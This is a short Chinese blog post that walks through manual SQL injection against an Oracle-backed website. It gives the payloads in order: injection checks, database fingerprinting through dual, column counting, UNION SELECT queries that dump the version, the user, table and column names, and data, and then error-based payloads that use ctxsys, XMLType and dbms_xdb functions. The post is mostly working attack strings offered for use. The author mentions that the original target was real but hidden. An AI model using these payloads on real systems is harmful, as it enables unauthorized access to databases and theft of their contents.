记一次手工注入Oracle数据库

记一次手工注入oracle数据库

  • 枕头要常晒因为里面装满了发霉的梦想。

因为有点涉密直接过滤url,可以自行搭建靶机测试。

1、首先判断是否存在注入点 and 1=1/and 1=2
2、然后在判断是什么类型数据库and (select count (*) from dual)>0  
Ps:Dual为oracle的一个默认表
3、判断列数order by 看页面是否正常显示
4、联合注入, union select null,null,null,null,null,null,null from dual
然后在通过改变null为字符型,如‘1’,判断显示位
5、根据显示位,查看数据库版本信息及当前数据库
union select null,null,null,null,null, (select banner from sys.v_$version where rownum=1),null from dual
union select null,null,null ,null,null, (SELECT name FROM v$database),null from dual
6、查看当前用户
union select null,null,null ,null,null, (select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual),null from dual
7、直接跑所有表
union select null,null,null ,null,null, TABLE_NAME,null from USER_TABLES
8、跑表字段
union select null,null,COLUMN_NAME,null,null,null,null from 当前数据库 where TABLE_NAME='具体表名'
9、跑数据
union select null,null,null ,null,null, 字段1||'='||字段2,null from 具体表名

如果出现了数据库报错信息,可以优先选择报错注入,,使用报错注入需要使用类似 1=apyload,1>payload,进行报错注入。
有很多函数,例举几个其他也就如上了。

and 1=ctxsys.drithsx.sn(1,(select user from dual))—
and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null—
and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null—

余生很长,请多指教。
记一次手工注入Oracle数据库_第1张图片

你可能感兴趣的:(SQL注入)